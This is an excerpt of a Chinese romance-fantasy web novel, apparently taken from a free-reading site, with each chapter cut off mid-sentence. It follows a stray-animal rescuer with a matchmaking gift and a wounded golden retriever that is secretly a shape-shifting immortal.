《流浪狗与桃花妖[前世今生]》 1. 第 1 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 “列车前方到站——平州,下车的乘客请提前做好准备。” 伴随着电流的播报声从绿皮火车的喇叭里传出来,李碧桃缓缓睁开了眼。 车已经开了快十个小时了,上车时正是夜里十点,现下已经是早上八点多。车窗外太阳高悬,阳光透过玻璃照在人身上,暖洋洋的。 李碧桃长呼一口气,终于到站了。坐了十个小时的硬座,她的腰和屁股好像已经不是自己的了,又酸又疼,腿也麻了。 李碧桃特别想伸一个大大的懒腰,但她这是个三人连在一起的座位,她坐在最里面靠窗的位置,空间十分狭窄,根本施展不开。 火车进站前,车速明显放缓,李碧桃百无聊赖地看着窗外,嘈杂的车厢里嗡嗡的说话声不断。 突然,一个有些小心翼翼的男声从三人座最外面的位置传来,“你好?可以加一个联系方式吗?我没有恶意,就是想和你认识一下。” 李碧桃没有回头,反正也不是和她说的。 火车经过轨道,窗外一片漆黑,黑下来的车窗正好能当镜子使。 风景没得看了,李碧桃通过车窗倒影,看向刚才说话的男孩儿。 他的位置挨着列车过道,和李碧桃中间隔着一个女孩儿,两个人看起来差不多大的样子。此刻,男孩儿正鼓足了勇气向中间座位上的女孩儿要联系方式。 “可以的,微信方便吗?”女孩儿羞怯地看了他一眼,低声回答。 “当然方便,我扫你。”男孩儿因为激动和欣喜脸色涨红,扫二维码的间隙,又抬头匆匆看了女孩儿好几眼。 李碧桃微微瞪大了眼睛,这就……又成了一对儿? 列车已经进站,看样子身旁这两位也是在平州站下车,双双起身,男孩儿十分殷勤地把女孩儿的行李箱拿下来,两人一边说话一边走到车门处排队等下车。 李碧桃看了那个行李箱一眼,恍惚记得她睡着前,这行李箱貌似就是那男孩儿帮忙搬上去的。 排队间,刚才还拘谨陌生的两个人,已经聊得颇为火热了。 男孩说:“我是平州大学的,数学专业,今年大二了,你是哪个大学的呀?” 女孩说:“我也是平州大学的,文学院的,今年大一。” 男孩兴奋道:“真的,这也太巧了吧,那……你空闲的时候,我们可以一起在学校边转转。” 列车员打开车门,李碧桃跟在他们身后下车,看着两人相伴往出站口走的身影,李碧桃十分欣慰地点了点头。 稳定发挥,实力不减,李碧桃十分满意。 李碧桃行李不多,就一个双肩包,里面也没什么东西,轻飘飘的。李碧桃背着包轻快地出战,跟随人流进入地铁站。 运动服外套的口袋里,电话铃声响起,李碧桃看了眼来电人,是和她一起干了三年流浪动物救助的好友夏琪。 “桃子,你现在到哪儿了?今天早上大傻突然吐了,我着急带它去医院,就让颂阳去基地帮我照看一会儿,然后他刚才打电话说小黑情况也不太好,现在他又着急上班,你赶紧回基地看一下怎么回事儿啊。” 李碧桃皱了皱眉,“大傻什么情况?我在地铁上,再有半小时就到了,小黑又是怎么回事儿?” 夏琪急得冒烟,“大傻这边儿医生还在检查,颂阳说小黑两条前腿一直在抽搐,说实话,碧桃,我现在有点慌,又是呕吐又是抽搐的,不会是犬瘟吧?” 闻言,李碧桃心下一沉,基地里大大小小几十条狗,一旦出现犬瘟,后果不敢想象。 虽然李碧桃心里也在犯嘀咕,但还是安慰夏琪道:“你别瞎想,不会的,小黑的腿是之前落下的老毛病,你先让王颂阳去上班,他单位不是经过汤姆斯宠物医院吗?让他顺路把小黑送过去,我一会儿也直接过去。” 夏琪欲言又止,但还是没忍住:“他家……贵啊!人家主打高端精致,收费死高死高的,咱们和人家也不熟,连个折扣都没有。” 李碧桃捂着手机里还没热乎的转账,狠下心咬咬牙,“先送去,贵点儿也比你老公迟到丢全勤强!” “行,我这就给颂阳打电话。” 挂了电话后,李碧桃怀着比人家男孩儿要微信还紧张的心情,从微信余额看到支付宝余额,把那点儿不多的钱算了又算。 三分钟后,李碧桃按灭手机,仰头看向头顶扶手,绝望地闭上双眼。 有没有这样一种可能?就是等她睁开眼,天上掉下一大笔钱,啪叽掉她脸上。 然而,天上不会掉馅饼。 李碧桃抱着小黑从高端大气上档次的汤姆斯宠物医院走出来时,手机里的小钱钱已经统统飞走了。 她来回坐了二十个小时硬座跑这一趟,赚到那一点钱,小黑来这一遭,不光把赚到的钱花进去了,来回两百多的路费还赔了。 好在小黑没什么问题,就是受凉老毛病犯了。 李碧桃单手托着小黑,另一只手摸摸小黑的额头,嘴里神神叨叨念咒一般:“破财免灾,破财免灾,我花小钱钱,小黑不遭罪,破财免灾,破财免灾……” 小黑什么也听不懂,只知道自己被放在共享单车车筐里,被神神叨叨的李碧桃蹬着车子带回了家。 三年前,李碧桃大学毕业初入职场,却遭到好色上司刁难,在那个天杀的色狼上司死皮赖脸要李碧桃做他小情人时,李碧桃一杯热咖啡泼了个痛快,当时那个死色狼被她泼的那叫一个狼狈,稀疏的头发上稀稀拉拉地往下淌黄褐色的咖啡,看起来像是掉进了粪坑里。 然后……李碧桃就失业了。 之后李碧桃没再找工作,阴差阳错地,结识了志同道合和她一样喜欢小动物的夏琪,俩人干起了流浪狗救助。 钱,是一点儿赚不着的。猫猫狗狗,是越来越多的。 多到俩人不得不在城中村租下一个带院子的二层自建房,美其名曰叫个“流浪动物救助基地”。 在她们认识三个月后,夏琪就和王颂阳结了婚,这个小破基地,从此成了李碧桃和几十只猫猫狗狗的家。 李碧桃将共享单车停好,抱着小黑走入城中村的小巷,一直走到小院门口。 虽然生活艰难,自建房简陋,院子也小,但胜在位于村子尽头,一侧是马 2. 第 2 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 “没毛病宠物医院”是距离李碧桃那个简陋的救助基地最近的一家宠物医院,无论是装修还是风格,都相当接地气。最重要的是,价格亲民,是李碧桃和夏琪能承受得起的价格。 而且,“没毛病”的老板也是个对流浪动物救助相当感兴趣的人,为人富有不差钱,知道李碧桃和夏琪两个没什么钱的小姑娘干这个不容易,给了她们非常大的折扣。 所以三年来,基地和“没毛病”建立了深厚而亲密的合作关系。 此时,医院手术室外,夏琪急匆匆地从另一个方向赶来,小声问:“你说的那个金毛是怎么回事儿啊?刚在电话里你说的太快,我没听太清楚。” “一个身上被割了六刀的金毛,血淋淋地躲在咱们基地门口的绿地那儿,我接小黑回来的时候发现的。”李碧桃解释道。 “卧槽!”夏琪没忍住,“六刀?你确定是刀割的吗?动手的是人吗?” 李碧桃皱了皱眉,心里揪着难受,这种难受的感觉从见到金毛的那一瞬开始,一直持续到现在,久久不散。 想起刚才医生检查时,金毛乖顺的样子,李碧桃也有些气,“是刀伤,刚才医生检查的时候说了。不过放心,都没伤到要害,不会有生命危险。我猜动手的变态想虐杀,但是进行到一半,狗狗跑了。” “幸好跑了。”光是听着,夏琪感觉鸡皮疙瘩都起来了,还好狗狗没有生命危险,也算是不幸中的万幸了。 李碧桃想起早上大傻吐了的事,问道:“大傻情况怎么样?为什么突然吐了?总不可能是吃多了吧?” 基地经济有限,李碧桃和夏琪在经济能承担的基础上,坚持科学喂养,能把几十只毛孩子喂饱就不错了,很少出现喂多了的情况。 “医生说是受凉,刺激到肠胃了。”夏琪想起什么,“我记得那会儿你打电话说小黑的腿也是受凉的缘故,前两天下雨降温,是不是咱们基地温度没控制好?” 李碧桃想起来了,有些自责,“应该是,之前断了供暖,下完雨又降温了,我怕热,降温也没察觉出来,忘记给它们开小太阳了,大傻和小黑身体本来就不太好,受不了凉。” 夏琪安慰道:“它俩没啥事儿,回去养几天就能好了,不用太担心……就是这么一来,你上个单子白接了吧。” “对了……”李碧桃猛然想起来,“一会儿大金毛的治疗费,我已经拿不出来了……” “……”夏琪默默地打开手机,查看余额,“没事儿,我这还有,足够付治疗费了,不过也只够付个治疗费了,上次好心人士捐的狗粮猫粮还能坚持一阵子,只要别再有生病的,应该能坚持到我的账号接到下一个广告。” 李碧桃更乐观一些,“放心,我再多接几个客户,干完活儿就会有钱了。” 对于李碧桃当红娘赚钱这件事,夏琪一开始就觉得非常不靠谱,但这么久以来,李碧桃一直发挥得竟然相当稳定,赚的比她做萌宠博主还多。 久而久之,尽管夏琪依旧想不明白母单至今的李碧桃是怎么给别人介绍对象的,但对于她的业务水平和收入,还是相当信任的。听她这么说,夏琪也稍稍放心下来。 —— 李碧桃照顾了受伤的金毛一周,在和夏琪商议后,两人一拍即合给它取名叫富贵。原因无他,就是她们实在是缺钱。 尽管基地里已经有招财旺财发财了,但还远远不够,俩人默默祈祷这次富贵能真的给她俩带来富贵和好运。 李碧桃和夏琪一致认为,富贵这个名字没白叫,六处刀伤,本来不知道要在“没毛病”住院观察多久呢。 结果坚强争气如富贵,只用了一周时间,医生就告知富贵可以回家恢复了,只要注意每天给富贵换药,一周后来医院复查即可,给她们省下了一大笔住院费。 李碧桃和夏琪的这个简陋的救助基地自建房一共上下两层,楼上楼下各三间屋子,楼下的三间屋子面积差不多,中间最大的范围算作大客厅,用来招待挑毛孩子的领养人。 东西两侧各一间屋子,面积差不多大,分别居住猫狗。 已经是晚上九点多了,基地里,几十只毛孩子乌泱泱的聚在院子里玩闹,夏琪分别清点完猫狗,将它们关到自己的屋子,然后上楼去看病号。 二楼也有三间屋子,最大的带独立卫浴的一间是李碧桃的卧室,稍微小一点的是给毛孩子们煮东西的厨房,厨房隔壁最小的一间屋子只有二十个平方左右,用来存放毛孩子们的口粮等物资。 富贵因为是特殊病号,放在楼下和其他狗子们一起住不方便,李碧桃在自己卧室单独给它铺了个窝。 夏琪走进二楼卧室,帮着李碧桃给富贵换药,“我看富贵恢复的挺快啊,伤口长的挺好的。” 李碧桃点点头,给富贵裹纱布,“我们富贵争气啊,知道咱们穷,赶快恢复出院。” “富贵真是懂事的小狗。”夏琪空出一只手要摸摸富贵的头,不想富贵一个抬头躲开了,“嘶,刚夸完你懂事,居然不让我摸头!” 这一周以来,李碧桃早就发现了这件事,富贵好像除了她之外,不喜欢别人摸它,心里有些小小的得意,“我们富贵只肯让我摸头。” 正好换完药,夏琪起身,傲娇道:“切,不稀罕!” 李碧桃奖励一般摸了摸富贵脑袋,富贵眯着眼睛,享受的很,李碧桃十分满意地起身将药放好,“别琢磨摸我家富贵了,还是回去摸你老公吧!” 楼下传来小院铁栅门打开的动静,李碧桃掀开窗帘看了一眼,抬手和楼下的人打了个招呼,回身和夏琪说“快十点了,王颂阳已经到楼下了,你赶紧收拾收拾回去吧。” 夏琪点点头,伸了个懒腰,“我走啦,你也早点休息,你明天还得早起见客户呢。” 李碧桃对自己当红娘的本领十分自信,“我估摸着一个上午,我客户必能脱单!” 夏琪赞同道:“我突然意识到一个问题,我一直以为你是桃子的桃,但现在突然发现,你应该 3. 第 3 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 次日清晨,李碧桃匆匆拿了盒牛奶当做早餐,和刚到基地的夏琪交代道:“富贵的药换完了,但其他的小家伙儿们我还没来得及喂,一会儿你记得喂一下哈……还有小黑和大傻,给它俩加个罐头吧,然后把药直接放罐头里就行,我着急见客户去,这就得走了。” 夏琪将包随手放在门口的柜子上,“好的,你放心干活吧,这些毛孩子交给我。” 李碧桃回身给夏琪送了个飞吻,便骑着她那辆二手电动车出门了。 李碧桃昨天和客户约好了在市图书馆碰面,红娘干了这么久,李碧桃已经有了一套严谨的工作步骤。 线上与客户取得联系后,李碧桃会用一段时间了解客户的身份和喜好,以此推测客户命中注定的另一半可能出现的场所,然后约定时间和地点,客户告知他当日的打扮和特征,李碧桃则始终保持匿名状态,悄悄靠近。 一般情况下,当李碧桃靠近目标客户两个小时以内,客户就会遇到让自己动心的人。至此,李碧桃任务完成,等待客户结款。 这次的客户是一个母单近三十年的男生,已经工作了,单位异性少,为人又比较宅,一直没有接触异性的机会,经人介绍找到了李碧桃。 因为了解到他平时喜欢看书,所以李碧桃将地点定在了市图书馆。 李碧桃将电动车停在图书馆外面,打开手机查看客户给她发来的消息:图书馆二楼203室墙角橙色沙发区,我穿着一件牛仔外套,黑色长裤,戴了一顶黑色渔夫帽,手上拿着一本叫《我修仙的那些年》的书。 李碧桃一边确认信息,一边走进图书馆,按照客户提供的信息,找到203室的橙色沙发区。 不过李碧桃没有直接出现在客户面前,看到客户之后,李碧桃侧身躲在墙角处,给客户发消息:我已到位。 客户收到消息后,下意识回头寻找李碧桃的身影,但是什么也没找到。 李碧桃又发来信息:不用找我,你坐着看你的书,静候佳人。 十分钟过去了,李碧桃始终靠在墙边,越发觉得奇怪。 奇怪的是,她今天身体……太舒服了。 根据以前的情况,这个时候她应该觉得困倦、疲惫,意识随之陷入混沌,等到清醒的时候,客户和自己的有缘人,大概率就能见到面了。 但今天,身体却格外舒服,像是全身经脉被打通一样,意识清醒,丝毫不觉得倦怠。 又过了二十分钟,客户已经等不及了,发消息询问李碧桃:请问,我就只坐在这里等吗?不需要做点什么吗? 如果不是因为李碧桃这里是先相亲后付款,客户这会儿已经要怀疑她是个骗子了。 李碧桃看了眼时间,已经半个小时了。 她的意识越发清醒,没有一点奇怪的征兆或苗头。 李碧桃也觉得似乎不能这么干等着了,打字道:“起来,去一楼书库转转,挑一挑你喜欢的书。” 李碧桃思索着,大概是203室此刻人不多,沙发区这里更是没两个人,大家都在看书,不好突然出来搭讪,楼下选书的人比较多,下楼的话机会更大。 客户在一排排书架间徘徊着,李碧桃始终跟他保持不远不近的距离,能看到客户的位置,但客户无法看到她。 又过了一个小时,客户已经没什么耐心了,发消息问道:你不会是闲着没事儿耍我玩吧?还是和我朋友串通好逗我呢? 李碧桃皱了皱眉,回道:我之前告诉过您,从我就位到佳人出现的时间通常在半个小时到两个半小时之间,这才一个半小时。 客户耐下心来,接着等。 直到午饭时间到,市图书馆的人大多出去吃饭了,图书馆逐渐空了起来。 距离李碧桃就位,已经过去了四个小时了。 整整一个上午。 客户失去耐心了,已经在心底认定李碧桃是个骗子,看在李碧桃之前没要钱的份儿上,勉强没发脾气。 只是告诉李碧桃:大师,要不你回去再修炼修炼吧,我觉得你这也不太灵啊,我先走了,脱单这种事还是靠我自己吧。 李碧桃自知是自己的问题,没说什么,带着咕噜噜叫的肚子,骑着电动车两手空空地回家去了。 到家后,夏琪做好了午饭,一边给毛孩子们拍视频,一边等李碧桃回来。 见李碧桃进屋,夏琪放下手机,起身上前迎接,“怎么样?今天回来的有点晚啊,红娘工作干的顺利吗?赚了多少?” 李碧桃将电动车钥匙随手放在门口立柜上,弯腰抱起一只名为元宝的橘猫,有些沮丧道:“今天有点邪门,没给客户找到对象,还被客户提醒,让我回家修炼修炼。” 夏琪虽然诧异李碧桃竟然也会有失手的时候,但看她这蔫吧的样子,转念一想,这种事情本来就不靠谱,偶尔不顺利也属正常。 “这种事情本来就是讲究缘分的嘛,偶尔没成功也正常,我上午接了个狗粮的广告,不仅有广告费,人家还免费赠我们狗粮呢。”夏琪温声安慰道。 李碧桃得到了些许安慰,勾唇一笑道:“还好有你。” “那是!”夏琪扬声说道:“走吧,吃午饭去。” 李碧桃点点头,忽然想起什么,“富贵呢?上午情况怎么样?” 夏琪答道:“正要和你汇报呢,早上你走了之后我就上楼看了富贵,这狗子睡得可香了,估计有点嗜睡,我那会儿去喂它的时候还在睡觉。” “睡了一上午?”李碧桃有点担心,正常毛孩子很少有能一睡睡一上午的,除非生病了没精神,该不会是身上伤口严重了吧? 夏琪回想一下,“应该……不能吧……我一共上去看了他三次,反正都在睡觉,这一上午也确实没什么动静儿。” 闻言,两人脸色皆是一变,李碧桃放下怀里的橘猫就要上楼,夏琪紧跟其后。 两人刚到楼上,就见本来应该躺在窝里的金毛,此刻正从李碧桃的卧室往外走,走起路来一颠一颠的,像是丝毫感受不到伤口的疼痛。 见状,两人悬着的心放下了。 夏琪长出一口气,“就说这小东西叫富贵不白叫吧,这恢复的也太快了,这才几天,都能到处走了。” 李碧桃也放下心来,走到富贵面前蹲下,摸摸它的头。 富贵老实地任由她摸,像是特别满足的样子。 李碧桃笑道:“这小东西精力充沛啊,等它养好伤口了,感觉咱们这个小院子都不够它活动的。” “希望能给这个顽强的小家伙找个好主人,能喜欢它这个活泼的性子。”夏琪蹲在李碧桃身边,看着富贵道。 富贵像是听懂了一样,居然还皱了皱眉,但很快便舒展开,又是一脸老实的样子。 李碧桃和夏琪的注意力都在它身上的伤口上面,没注意到富贵奇怪的小表情。 李碧桃叹了口气道,“富贵身上的伤口留疤了,怕是不好找领养。” 夏琪无所谓道:“没事儿,没人养咱们就自己养,虽然说咱俩这儿条件艰苦了点儿,但肯定饿不着它。” …… 两人正说着话,楼下突然传来一道声音,“请问有人在吗?” 李碧桃和夏琪对视一眼,夏琪不确定问道:“我怎么听见楼下有人说话呢?” 李碧桃站起身,肯定道:“就是有人说话,走吧,下楼看看。” 楼下,一个看起来二十岁左右的男生蹲在一众猫猫狗狗中间,摸摸这个,扒拉扒拉那个,和基地里的毛孩子们打成一片。 夏琪凑到李碧桃耳边悄悄道:“这人这么招小动物喜欢啊……连老头这个臭脾气的都愿意让他摸头。” “老头”是之前夏琪捡回来的一只斗牛犬,脾气一直不太好,刚来的时候和基地里其它毛孩子没少吵架,对人的警惕性很高,除了夏琪和李碧桃之外,就连夏琪老公王颂阳都不能随便摸。 “是挺奇怪。”李碧桃点点头,随即扬声试探问道:“先生?” 蹲在一众毛孩子中间的男生听见动静儿,立刻扬起了头,还没等说话,下意识扬起一个大大的笑脸,看起来开朗热情极了。 男生直起身来,咧着笑脸凑到李碧桃和夏琪面前,十分自来熟道:“两位姐姐好啊,我是豆……白,白豆豆。” 李碧桃微微一笑,打量着面前这个奇怪的男生。 白豆豆……名字也挺好玩儿的。虽然整个人看起来都不太靠谱的样子,但李碧桃对他这种欢脱的气场并不讨厌,甚至莫名地觉得他不像是坏人。 夏琪扯出一个不失礼貌的微笑,“白先生你好,请问您是来领养流浪猫狗的吗?” “姐姐不用叫我白先生,叫我豆豆就好,我妈就这样叫我,嘿嘿……姐姐猜对了,我来这里是想领养流浪狗的,请问两 4. 第 4 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 白豆豆当天就把富贵领走了,走的时候,李碧桃还是放心不下富贵身上的伤,将富贵要用的药和一些罐头玩具什么的,全都装在一个袋子里,让白豆豆一起带了回去。 临走时,李碧桃一直送人走出院子,亲眼看到白豆豆带着富贵走入之前隔壁馄饨店的玻璃门,确认了真是她们的邻居,李碧桃这才放下心来。 夏琪泡了杯咖啡,抱着杯子吹了吹,仰头喝了一口,站在小院里,看着对隔壁馄饨店望眼欲穿的李碧桃,幽幽道:“行了,就在隔壁,几步路的距离,你怎么惦记成这样呢?” 李碧桃压下心底那种说不上的感觉,讪讪地关了小院的铁栅门,回身道:“这不是富贵情况特殊吗,伤还没完全好呢,就让别人领走了。” “桃子,你清醒一点,人家富贵是去过好日子了,总比跟着咱俩饭都吃不上强吧。”夏琪道。 “也是……”李碧桃抿抿唇,有些被夏琪说服了,“走吧,到饭点儿了,该喂剩下的毛孩子们了。” —— 隔壁,馄饨店。 白豆豆将富贵领进屋里,立刻弯腰解开金毛脖子上的项圈,随后十分警惕地关好门,拉上窗帘,一脸殷勤地凑到金毛身边。 “恩人!你可以变回来啦,现在没人能看见!”白豆豆兴高采烈道。 话毕,昏暗的馄饨店里立刻闪现一道耀眼白光,这光闪得极快,白豆豆还没来得及闭眼,这光便消失了。 随后,金毛狗消失不见,一个男人凭空出现在混沌店中。 男人一身白袍曳地,身材修长,背直如松,黑色长发搭落在修劲的背上,款款地走到墙边有些破旧但还算干净的桌子旁,拿起上面放着的白色袋子。 袋子里,是李碧桃给“富贵”装的药、罐头和玩具。 白豆豆屁颠屁颠走过去,忽闪着大眼睛殷勤问道:“恩人,这些东西,应该算是桃子姐姐给你的,还是给我的?” 白絮飞没有答话,勾唇笑笑,随手拿起一个之前李碧桃放在“富贵”窝里的玩具球把玩。 明明是个不值钱的玩具球,此刻被白絮飞捏在手里,仿佛是在把玩什么古董文物一般。 白豆豆看着白絮飞手里的球两眼直放光,见白絮飞没有把球给他的意思,他又往袋子里看了一眼,在看到袋子里的罐头时,白豆豆下意识砸吧砸吧嘴。 听到白豆豆砸吧嘴的声音,白絮飞转头望向他,无奈笑道:“你现在有了人身,这些东西你也用不到。” 白豆豆立刻蔫儿了下去,委屈巴巴道:“是哦……我是人了,这些东西都用不上了……还不能回去见妈妈了。” “……” 白絮飞正要开口安慰,门口却突然传来敲门的声音。 咚咚咚…… “有人在吗?” 是李碧桃的声音。 白絮飞面上笑意加深,仿佛整个人都镀上了一层柔和的光。 “是桃子姐姐!”白豆豆情绪来得及去得也快,这会儿又忘记了刚才的沮丧,咧个大笑脸说道。 白絮飞点点头:“应该是来看‘富贵’的,你先变回原形。” 白豆豆看着眼前白衣长发的白絮飞,不确定问道:“恩人,你真要这样子见桃子姐姐啊?而且……我还没学会怎么变回去……”白豆豆挠挠头,心虚地说了实话。 “……” 白絮飞沉默片刻,随后一言不发,抬手挥起一条光带,又变成了那个裹着一身绷带的金毛。 白豆豆立刻转身去给李碧桃开门。 门外的李碧桃正在想是不是这会儿白豆豆和富贵不在家时,面前玻璃门里面的帘子突然被拉开,扬着一张笑脸的白豆豆出现在眼前。 白豆豆将门打开,大大方方地叫人:“桃子姐姐!” “……”李碧桃愣了一瞬,才反应过来这是在叫她。 虽然不知道自己什么时候和他这么熟了,但李碧桃对一脸热情的白豆豆却并不反感。 “啊……你好……”李碧桃迟疑道:“白……豆豆?” “叫豆豆就行!”白豆豆一边说着,一边侧身将李碧桃让进屋里。 “谢谢豆豆。”李碧桃朝他点点头表示感谢,说明她的来意,“我刚才发现之前给富贵买的项圈忘记给他带过来了,所以过来送项圈,没打扰你吧?” 这其实是李碧桃的借口。 送项圈是假,因为白豆豆把富贵牵走的时候,富贵已经戴了一个项圈。 而她这次送的项圈,是基地里别的毛孩子的。 事实是,在白豆豆带富贵离开后,李碧桃突然想起来,当初捡到富贵的时候是在小院门口,身负六道刀伤的富贵必然跑不远,也就是说明,发生虐待的地点应该离她们基地小院也不远。 虽然白豆豆看起来开朗热情,还带着一种莫名的傻里傻气,但防人之心不可无,救助流浪动物三年了,李碧桃见过太多表面人模人样,背地里却干一些畜生不如的事。 李碧桃越想越觉得不放心,于是随手拿了个别的毛孩子的项圈,找了个借口来看看情况。 “当然没打扰!桃子姐姐,我和富贵都很喜欢你来做客。”白豆豆倒是没察觉什么,只是单纯地以为李碧桃是来送项圈的。 李碧桃心虚笑笑,走到蹲坐在地上的富贵面前,一边把手上的项圈给它带上,一边留心观察它的身上。 一点不对劲的地方都没有。 还真是她小人之心了。 不过亲眼看到总归要放心的多,李碧桃摸了摸眨着黑亮亮的眼睛看着她的富贵,转头看向白豆豆,心虚笑道:“我们基地也随时欢迎你带富贵来做客!” 确认富贵来到新家的情况后,李碧桃也不好一直赖着不走,和白豆豆随口聊了几句,便回去了。 白豆豆领着富贵一直将人目送到小院门口,白豆豆乐滋滋地和李碧桃挥手告别,刚放下手臂,就发现身旁的富贵此刻已经变成了比他整整高一头的白絮飞了。 白絮飞手里拿着李碧桃刚刚带来的项圈,拇指轻轻在上面摩挲着,感受着上面残留着的属于她的气息。 这是只有他能感受到的,独属于李碧桃身上的气息。 白豆豆将玻璃门关上,又把帘子拉好,跟着白絮飞走到屋里坐下。 “恩人,你是不是特别想真正地和桃子姐姐见一面啊?”白豆豆好奇问道。 白絮飞收起项圈,整了下衣袍,笑着反问:“你说呢?” “呃……不过恩人,见桃子姐姐之前,你是不是要先换身衣服,换个造型?不然我觉得桃子姐姐会以为你是 5. 第 5 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 浓浓的夜色如黑色幕布一样笼罩下来,人们结束了一天的忙碌,除了一些夜猫子,大多数人沉沉睡去。 柔软的被子包裹着李碧桃纤细的身体,意识渐渐沉入梦境。 好香…… 这是桃花的香气。 桃花香从四面八方涌来,似乎从她身上每一个毛孔中涌入,渗透到四肢百骸,就像是整个人都浸在充斥着桃花香的水池中一般。 李碧桃环顾四周,发现自己身处在一片桃林里。 这片桃林大的出奇,任由她极目远眺,但依旧看不到桃林的边际。 没有城市鳞次栉比的高楼大厦,入目的,全都是开的正灿烂的桃花,就好像,整个世界,只剩下了这片无边无际的桃林。 李碧桃看着这片桃林,她很确定,这里她从来没有来过,甚至是从来没有见过这样的地方,但很奇怪的是,为什么她会有一种强烈的熟悉感? 在这陌生又寂静无人的桃林里,她却觉得熟悉又安心。 李碧桃探究地往桃林深处走去,终于,看到了一个掩藏在大片盛开桃树后的小木屋。 这个木屋看起来有点像景区的建筑,整个屋子都是用木头搭建而成,被风吹落的桃花瓣铺满了整个屋顶,如同是小屋独具特色的装饰一般。 李碧桃刚要走进木屋,看一看里面的样子,才迈了两步,便突然停下。 只见一个身着白袍的男人,信步从木屋中走了出来。 雪白的衣袍没有一点杂色,长身玉立,身姿挺拔而瘦削,如天外谪仙一般。 似乎这个人是极为好看的。 但李碧桃不确定,因为她看不清他的脸。 李碧桃用力眨了两下眼睛,依旧看不清这人的长相,只是觉得他带给她的感觉,很熟悉,又很舒服。 正当李碧桃想要凑近一些时,她听到这人开口道:“回来了?” 回来了…… 是在和她说话吗? 可是她不认识他啊!甚至都看不清他的脸。 两人只隔着不足十步的距离,李碧桃感觉,他似乎在朝她笑。虽然看不清他的五官,但是李碧桃就是觉得,他一定在笑。 甚至莫名觉得,那笑容是如此温和,如沐春风一般。 李碧桃想要开口询问他是谁,可是张了张嘴,却发不出声音,她慌张地抬手捂住喉咙,急切地想要发声。 但可惜,依旧发不出一点动静儿。 怎么就哑巴了呢! 李碧桃腾地从床上坐起来,双手还保持着捂着喉咙的姿势。 她缓缓抬头看了看熟悉的卧室,慢慢放下手臂。 原来是场梦啊……她就说嘛,怎么可能无端变成哑巴了呢? 确认是做梦之后,李碧桃放松下来。床头手机闹钟响起,李碧桃拿起手机随手关掉,该起床喂毛孩子们了。 李碧桃下床走到卧室床边,拉开淡灰色的窗帘,外面已经大亮,圆盘似的太阳高悬着,金色的阳光洒进小院里,照的小院也温暖起来。 李碧桃下意识看了看旁边的馄饨店,馄饨店也是上下两层楼,和基地小院之间只隔着一个平房仓库,从这二楼卧室的窗口看去,刚好能看到混沌店。 她又想起了昨天从混沌店回来时,余光里隐约瞥见的白色身影。 她真是魔怔了,明明只是一个幻觉,她居然惦记这么久,甚至做梦都梦见了。 李碧桃洗漱完后到厨房给自己冲了份麦片,随手用手机找了个古装仙侠剧看,还特意选了那种男主角穿着一身白衣的剧。 李碧桃一边看着剧,一边吃完了麦片。 她皱了皱眉,随即关了手机。 虽然也是一身白衣,男演员身材长相倒是也很不错,但就是感觉有什么不对。难不成她要的是那种看不清脸、若隐若现的朦胧美?而这个电视剧拍的实在是太高清了。 李碧桃笑了笑自己的奇怪,起身去洗杯子,不去想这些有的没的。 —— 又是半个月过去了。 这半个月,李碧桃无偿约了五个客户,无一例外,全都失败了。 一开始,她还能淡定地安慰自己,可能就是一时失误,这种老天赏她的特殊红娘体质怎么可能会凭空消失呢? 但经过半个月的实验,事实证明,这种连她自己都搞不清楚怎么来的红娘体质,确确实实是消失了。 也就意味着,她吃饭的本领,没了。 虽然夏琪一直安慰李碧桃,说大不了就和她一起做宠物博主,还是能养活这些毛孩子们的。 但李碧桃心里清楚,做自媒体的太多了,网上根本不缺萌宠博主。 何况,人家那些知名的博主展示的毛孩子一个赛一个漂亮、可爱,而基地里的毛孩子们,大多是她们捡回来的流浪猫狗,且大多数都有伤病,颜值魅力跟人家精心打造的萌宠没法比。 这也是为什么,夏琪做了三年宠物博主,却只能勉强接到一些带有慈善性质的广告,和一些好心人士的捐赠。 虽然李碧桃靠当红娘赚钱这事儿听起来不靠谱,但事实上,三年来,她做红娘的收入,才是支撑基地办下去的主要经济来源。 而如今,这个占大头的进项没有了,基地里所有毛孩子的生存都会遇到问题。 她倒是无所谓,哪怕再去找个工作,一个月也能赚个几千块,养活自己不成问题,但是这点钱,是绝对养不起基地上上下下进百只猫猫狗狗的。 和最后一个无偿约见的客户分别后,李碧桃坐公交车回了家。 公交车在城中村外面的公交站停靠,李碧桃下车时,想到这些摆在眼前的经济问题,心里又急又乱,脑子里萦绕的,都是基地里毛孩子们以后该怎么办。 沉浸在自己纷杂思绪里的李碧桃低着头缓步往村子尽头的基地小院走,丝毫没有注意到一个看起来将近六十岁的老人跟在她身后。 当李碧桃拐入村中一个鲜少有人经过的胡同时,身后的老人开口叫住了她。 “姑娘,我不用掐指都能算出来,你是遇到难题了吧。” 这突然出现的沧桑老声将李碧桃从混乱的思绪中拉了出来,李碧桃停下脚步,循声回望,只见身后的老人站在离她不到五米的位置,这老爷子得意地笑着,即使脸上皱纹遍布,但从他微眯的双眼中,隐约可见狡黠神色。 四下无人,李碧桃确定这老爷子是在和她说话,但心里有事压着,她没有那个闲情雅致与一个算命的扯闲篇儿,随口应声道:“大师您算错了,我心情挺好的,没遇到难题,也不买什么符篆法器,大师您再问问别人吧。” 闻言,这位大师两手往身后一背,弧形的背脊前倾,似是气恼地“切”了一声,朝她所在的方向扬了扬头,嘲讽道:“你心情好,还往电线杆子上撞啊?” “啊?”李碧桃蒙了一瞬,顺着老头扬头示意的方向回身看去,她身后不足一米的距离,一根银灰色电线杆子矗立在正对着她的位置。 这种电线杆子已经很老了,平州市城区早就不用了,只有各别有些落后的城中村还保留下来接着使用。 刚才如果不是这老爷子叫住她,她这会儿估计已经撞上去了,人家好心叫住她,她居然以为人家是不靠谱的算命先生。 李碧桃尴尬地抿了抿唇,愧疚道:“谢谢您提醒我,刚才抱歉了,我还以为您是算命的呢……” “嘶……”老爷子背着手,向前挪了两步,凑近问道:“谁说我不是算命的了?我就是啊!” “……” 李碧桃沉默了,提醒她别撞电线杆子是真,要给她算命卖符篆看来也不假。 还未等李碧桃说什么,老爷子接着道:“小姑娘,不要觉得我是老骗子,这个世界上你不知道的事情多着呢,我又掐指算了算,你这个小姑娘,是不是天生有点儿不一样的地方啊?” 李碧桃刚想反驳,她能有什么不一样的地方,特别穷算吗? 